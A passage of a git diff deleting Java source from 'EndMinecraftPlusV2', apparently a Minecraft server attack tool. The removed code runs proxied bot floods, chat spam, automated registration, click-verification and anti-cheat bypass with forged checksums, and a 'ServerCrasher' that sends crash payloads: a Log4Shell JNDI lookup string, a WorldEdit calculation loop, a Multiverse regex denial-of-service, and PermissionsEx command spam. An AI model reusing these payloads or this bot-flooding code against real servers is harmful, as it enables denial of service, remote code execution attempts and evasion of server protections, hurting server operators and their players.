ctsEncode(ByteBuf buf, byte[][] md5s) { - try { - CompoundTag nbt = new CompoundTag(""); - ListTag strList = new ListTag("md5s", ByteArrayTag.class); - for (final byte[] md5 : md5s) { - strList.add(new ByteArrayTag("", md5)); - } - nbt.put(strList); - NBTIO.writeTag((OutputStream) new DataOutputStream(new ByteBufOutputStream(buf)), nbt); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private byte[] stcDecode(ByteBuf buf) { - try { - CompoundTag nbt = (CompoundTag) NBTIO.readTag((InputStream) new DataInputStream(new ByteBufInputStream(buf))); - return ((ByteArrayTag) nbt.get("salt")).getValue(); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - public byte[] encodeCPacket(String[] md5s, String salt) { - try { - HashSet rsaMd5s = new HashSet(); - for (String md5 : md5s) { - rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes())); - } - - ByteBuf buf = Unpooled.buffer(); - buf.writeByte(1); // packet id - ctsEncode(buf, rsaMd5s.toArray(new byte[0][])); - return buf.array(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public String decodeSPacket(byte[] data) { - try { - ByteBuf buf = Unpooled.copiedBuffer(data); - buf.readByte(); // packet id - return new String(clientPrivateCipher.doFinal(stcDecode(buf))); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public String md5(String str) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - md.update(str.getBytes()); - byte[] digest = md.digest(); - return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); - } catch (NoSuchAlgorithmException e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java deleted file mode 100644 index 9c29711..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java +++ /dev/null @@ -1,81 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol; - -import java.io.*; -import java.math.BigInteger; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.zip.GZIPInputStream; -import java.util.zip.GZIPOutputStream; - -public class AntiCheat3 { - - public byte[] getCheckData(String acFile, String code, String[] md5List) { - try { - byte[] buf1 = code.substring(0, 30).getBytes(); - - FileInputStream in = new FileInputStream(new File("lib", acFile)); - byte[] buf2 = new byte[in.available()]; - in.read(buf2); - - byte[] buf3 = new byte[buf1.length + buf2.length]; - System.arraycopy(buf1, 0, buf3, 0, buf1.length); - System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length); - - try { - in.close(); - } catch (IOException e2) { - } - - String result = ""; - if (md5List != null) { - for (String md5 : md5List) { - result += md5 + ","; - } - } - result += md5(buf3); - return compress(result); - } catch (IOException e) { - e.printStackTrace(); - return null; - } - } - - public byte[] compress(String str) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPOutputStream gzip; - try { - gzip = new GZIPOutputStream(out); - gzip.write(str.getBytes()); - gzip.close(); - } catch (IOException e) { - } - return out.toByteArray(); - } - - public String uncompress(byte[] data) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(data); - try { - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - } catch (IOException e) { - } - - return new String(out.toByteArray()); - } - - public String md5(byte[] buf) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - md.update(buf); - byte[] digest = md.digest(); - return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); - } catch (NoSuchAlgorithmException e) { - return null; - } - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java deleted file mode 100644 index 0b51cd7..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java +++ /dev/null @@ -1,527 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.*; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport578; -import com.github.steveice10.mc.protocol.MinecraftProtocol; -import com.github.steveice10.mc.protocol.data.message.Message; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import com.github.steveice10.packetlib.Client; -import com.github.steveice10.packetlib.ProxyInfo; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.event.session.*; -import com.github.steveice10.packetlib.packet.Packet; -import com.github.steveice10.packetlib.tcp.TcpSessionFactory; -import io.netty.util.internal.ConcurrentSet; - -import java.io.OutputStream; -import java.net.InetSocketAddress; -import java.net.Proxy; -import java.net.Socket; -import java.util.*; -import java.util.concurrent.ExecutorService; -import java.util.concurrent.Executors; - -public class BotAttack extends IAttack { - public static HashMap clientName = new HashMap<>(); - public static int failed = 0; - public static int rejoin = 0; - public static int clickVerifies = 0; - public static List alivePlayers = new ArrayList<>(); - public static List rejoinPlayers = new ArrayList<>(); - public static List joinedPlayers = new ArrayList<>(); - public static HashMap positionPacket = new HashMap<>(); - protected boolean attack_motdbefore; - protected boolean attack_tab; - protected Map modList; - - private Thread mainThread; - private Thread taskThread; - - public Set clients = new ConcurrentSet<>(); - public ExecutorService pool = Executors.newCachedThreadPool(); - - private static final AntiCheat3 ac3 = new AntiCheat3(); - private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); - - private long starttime; - - public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { - this.attack_motdbefore = motdbefore; - this.attack_tab = tab; - this.modList = modList; - } - - public String getRandMessage(String userName) { - return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); - } - - public void start() { - setTask(() -> { - while (true) { - List tempList = new ArrayList<>(alivePlayers); - - for (Session c:tempList) { - if (c.isConnected()) { - if (c.hasFlag("login")) { - if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) { - c.setFlag("chatSpam", true); - - new Thread(() -> { - while (c.isConnected()) { - try { - c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); - } catch (Exception ignored) {} - - OtherUtils.doSleep(ConfigUtil.ChatDelay); - } - }).start(); - } - - if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) { - c.setFlag("randomTeleport", true); - - new Thread(() -> { - while (c.isConnected()) { - ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); - - if (c.isConnected() && positionRotationPacket != null) { - MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - OtherUtils.doSleep(500); - MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } else { - OtherUtils.doSleep(1000); - } - } - }).start(); - } - - if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { - c.setFlag("crasher", true); - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - - new Thread(() -> { - switch (ConfigUtil.ServerCrasherMode) { - case 1: - LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); - break; - case 2: - String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; - c.send(new ClientChatPacket(log4jExploit)); - break; - case 3: - String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; - c.send(new ClientChatPacket(worldEdit)); - break; - case 4: - String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; - c.send(new ClientChatPacket(multiverseCore)); - break; - case 5: - String pex_1 = "/pex promote a a"; - String pex_2 = "/pex demote a a"; - while (c.isConnected()) { - c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); - OtherUtils.doSleep(2000); - } - break; - default: - LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null); - break; - } - }).start(); - } - - if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { - c.setFlag("tabAttack", true); - - new Thread(() -> { - while (c.isConnected()) { - MultiVersionPacket.sendTabPacket(c, "/"); - OtherUtils.doSleep(100); - } - }).start(); - } - } else { - if (ConfigUtil.RegisterAndLogin) { - try { - for (String cmd:ConfigUtil.RegisterCommands) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); - c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); - } - - LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); - - c.setFlag("login", true); - } catch (Exception ignored) {} - } else { - c.setFlag("login", true); - } - } - } else { - alivePlayers.remove(c); - } - } - } - }); - - this.starttime = System.currentTimeMillis(); - - mainThread = new Thread(() -> { - while (true) { - try { - createClients(ip, port); - - if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { - for (Client c : clients) { - c.getSession().disconnect(""); - } - - stop(); - return; - } - - OtherUtils.doSleep(ConfigUtil.ConnectTimeout); - LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); - cleanClients(); - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - }); - - mainThread.start(); - if (taskThread != null) { - taskThread.start(); - } - } - - @SuppressWarnings("deprecation") - public void stop() { - mainThread.stop(); - if (taskThread != null) { - taskThread.stop(); - } - } - - public void setTask(Runnable task) { - taskThread = new Thread(task); - } - - private void cleanClients() { - for (Client client:clients) { - if (!client.getSession().isConnected()) { - positionPacket.remove(client.getSession()); - alivePlayers.remove(client.getSession()); - clientName.remove(client.getSession()); - clients.remove(client); - } else { - if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) { - alivePlayers.add(client.getSession()); - } - } - } - } - - private void createClients(final String ip, int port) { - Proxy.Type proxyType; - switch (ConfigUtil.ProxyType) { - case 3: - case 2: - proxyType = Proxy.Type.SOCKS; - break; - case 1: - default: - proxyType = Proxy.Type.HTTP; - break; - } - - while (clients.size() <= this.attack_maxconnect) { - for (String p: ProxyUtil.proxies) { - try { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - } - - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - clientName.put(client.getSession(), User[0]); - clients.add(client); - - pool.submit(() -> { - if (this.attack_motdbefore) { - getMotd(proxy, ip, port); - } - - client.getSession().connect(false); - }); - - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); - } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); - } - } - } - } - - public Client createClient(final String ip, int port, final String username, Proxy proxy) { - Client client; - - if (ProtocolLibs.adaptAfter578) { - String proxyStr = String.valueOf(proxy.address()).replace("/", ""); - String[] proxyAddress = proxyStr.split(":"); - ProxyInfo.Type proxyType; - - switch (ConfigUtil.ProxyType) { - case 2: - proxyType = ProxyInfo.Type.SOCKS4; - break; - case 3: - proxyType = ProxyInfo.Type.SOCKS5; - break; - case 1: - default: - proxyType = ProxyInfo.Type.HTTP; - break; - } - - ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1]))); - client = new Client(ip, port, new MinecraftProtocol(username), new VersionSupport578().createTcpSessionFactory(proxyInfo)); - } else { - client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); - } - - if (ConfigUtil.ForgeSupport) { - modList.putAll(ConfigUtil.ForgeModList); - new MCForge(client.getSession(), this.modList).init(); - } - - client.getSession().addListener(new SessionListener() { - public void packetReceived(PacketReceivedEvent e) { - new Thread(() -> handlePacket(e.getSession(), e.getPacket(), username)).start(); - } - - public void packetReceived(Session session, Packet packet) { - new Thread(() -> handlePacket(session, packet, username)).start(); - } - - public void packetSending(PacketSendingEvent packetSendingEvent) { - - } - - public void packetSent(Session session, Packet packet) { - - } - - public void packetSent(PacketSentEvent packetSentEvent) { - - } - - public void packetError(PacketErrorEvent packetErrorEvent) { - - } - - public void connected(ConnectedEvent e) { - if (ConfigUtil.SaveWorkingProxy) { - ProxyUtil.saveWorkingProxy(proxy); - } - } - - public void disconnecting(DisconnectingEvent e) { - } - - public void disconnected(DisconnectedEvent e) { - new Thread(() -> { - String msg; - - if (e.getCause() == null) { - msg = e.getReason(); - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); - - for (String rejoinDetect:ConfigUtil.RejoinDetect) { - if (rejoinPlayers.contains(username)) { - break; - } - - if (msg.contains(rejoinDetect)) { - rejoinPlayers.add(username); - - for (int i = 0; i < ConfigUtil.RejoinCount; i++) { - OtherUtils.doSleep(ConfigUtil.RejoinDelay); - - Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - - rejoin++; - LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient.getSession(), username); - clients.add(rejoinClient); - rejoinClient.getSession().connect(false); - - if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { - rejoinPlayers.remove(username); - break; - } - } - - rejoinPlayers.remove(username); - } - } - } else if (ConfigUtil.ShowFails) { - LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack"); - } - - failed++; - alivePlayers.remove(client.getSession()); - }).start(); - } - }); - return client; - } - - public void getMotd(Proxy proxy, String ip, int port) { - try { - Socket socket = new Socket(proxy); - socket.connect(new InetSocketAddress(ip, port)); - - if (socket.isConnected()) { - OutputStream out = socket.getOutputStream(); - out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); - out.write(new byte[]{0x01, 0x00}); - out.flush(); - } - - socket.close(); - } catch (Exception ignored) {} - } - - protected void handlePacket(Session session, Packet recvPacket, String username) { - if (recvPacket instanceof ServerPluginMessagePacket) { - ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; - switch (packet.getChannel()) { - case "AntiCheat3.4.3": - String code = ac3.uncompress(packet.getData()); - byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, - new String[]{"44f6bc86a41fa0555784c255e3174260"}); - session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); - break; - case "anotherstaranticheat": - String salt = asac.decodeSPacket(packet.getData()); - byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); - session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); - break; - case "VexView": - if (new String(packet.getData()).equals("GET:Verification")) - session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); - break; - default: - } - } else if (recvPacket instanceof ServerJoinGamePacket) { - session.setFlag("join", true); - LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); - - joinedPlayers.add(session); - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - - MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); - MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); - } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { - try { - ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; - MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); - session.send(new ClientPlayerMovementPacket(true)); - MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); - positionPacket.put(session, packet); - } catch (Exception ignored) {} - - } else if (recvPacket instanceof ServerChatPacket) { - ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; - - Message message = chatPacket.getMessage(); - - if (ProtocolLibs.adaptAfter578) { - Map result = VersionSupport578.clickVerifiesHandle(message, session, ConfigUtil.ClickVerifiesDetect); - - if (result.get("result").contains("true")) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + result.get("msg"), "BotAttack"); - clickVerifies++; - } - } else { - clickVerifiesHandle(message, session, username); - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - - if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) { - LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack"); - } - } else if (recvPacket instanceof ServerKeepAlivePacket) { - ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId()); - session.send(keepAlivePacket); - - if (!alivePlayers.contains(session)) { - alivePlayers.add(session); - } - - if (!joinedPlayers.contains(session)) { - joinedPlayers.add(session); - } - } - } - - public static void clickVerifiesHandle(Message message, Session session, String username) { - boolean needClick = false; - - if (message.getStyle().getClickEvent() != null) { - for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { - if (message.getText().contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); - session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); - clickVerifies++; - } - - if (message.getExtra() != null && !message.getExtra().isEmpty()) { - for (Message extraMessage:message.getExtra()) { - clickVerifiesHandle(extraMessage, session, username); - } - } - } - -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java deleted file mode 100644 index 33cedf3..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/DoubleAttack.java +++ /dev/null @@ -1,40 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; -import com.github.steveice10.packetlib.Client; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; - -import java.net.Proxy; - -public class DoubleAttack extends BotAttack { - private String username; - private Integer totalTimes = 0; - private Integer runTimes = 0; - - public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - super(ip, port, time, maxconnect, joinsleep); - } - - public void setUsername(String username) { - this.username = username; - } - - public Client createClient(String ip, int port, String username, Proxy proxy) { - totalTimes++; - return super.createClient(ip, port, this.username, proxy); - } - - protected void handlePacket(Session session, Packet recvPacket, String username) { - super.handlePacket(session, recvPacket, username); - if (recvPacket instanceof ServerJoinGamePacket) { - session.disconnect("Double Exploit - Connection Reset!"); - runTimes++; - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); - } - } - } -} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java deleted file mode 100644 index f079b21..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/IAttack.java +++ /dev/null @@ -1,22 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -public abstract class IAttack { - public String ip; - public int port; - - public int attack_time; - public int attack_maxconnect; - public long attack_joinsleep; - - public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { - this.ip = ip; - this.port = port; - this.attack_time = time; - this.attack_maxconnect = maxconnect; - this.attack_joinsleep = joinsleep; - } - - public abstract void start(); - - public abstract void stop(); -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java deleted file mode 100644 index 8dbb2dd..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/MultiVersionPacket.java +++ /dev/null @@ -1,94 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientTabCompletePacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; - -import java.lang.reflect.Array; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; - -public class MultiVersionPacket { - public static void sendTabPacket(Session session, String text) { - try { - Class cls = ClientTabCompletePacket.class; - Constructor constructor = cls.getDeclaredConstructor(); - constructor.setAccessible(true); - ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); - Field field = cls.getDeclaredField("text"); - field.setAccessible(true); - field.set(packet, text); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { - try { - Class cls = ClientPlayerPositionRotationPacket.class; - Constructor constructor; - ClientPlayerPositionRotationPacket packet; - try { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); - packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); - } catch (NoSuchMethodException ex) { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); - packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientSettingPacket(Session session, String locale) { - try { - Class cls = ClientSettingsPacket.class; - Constructor constructor; - ClientSettingsPacket packet; - try { - Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility"); - Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart;"); - Class parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand"); - - Class skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart"); - Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); - Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); - packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); - } catch (NoSuchMethodException ex) { - Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); - Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); - packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { - try { - Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(slot); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, int id) { - try { - Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(id); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { - try { - sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); - } catch (Exception ignored) {} - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java deleted file mode 100644 index 432d5ab..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java +++ /dev/null @@ -1,665 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils; - -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; -import cn.serendipityr.EndMinecraftPlusV2.Tools.*; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundKeepAlivePacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket; -import com.github.steveice10.packetlib.ProxyInfo; -import com.github.steveice10.packetlib.Session; -import 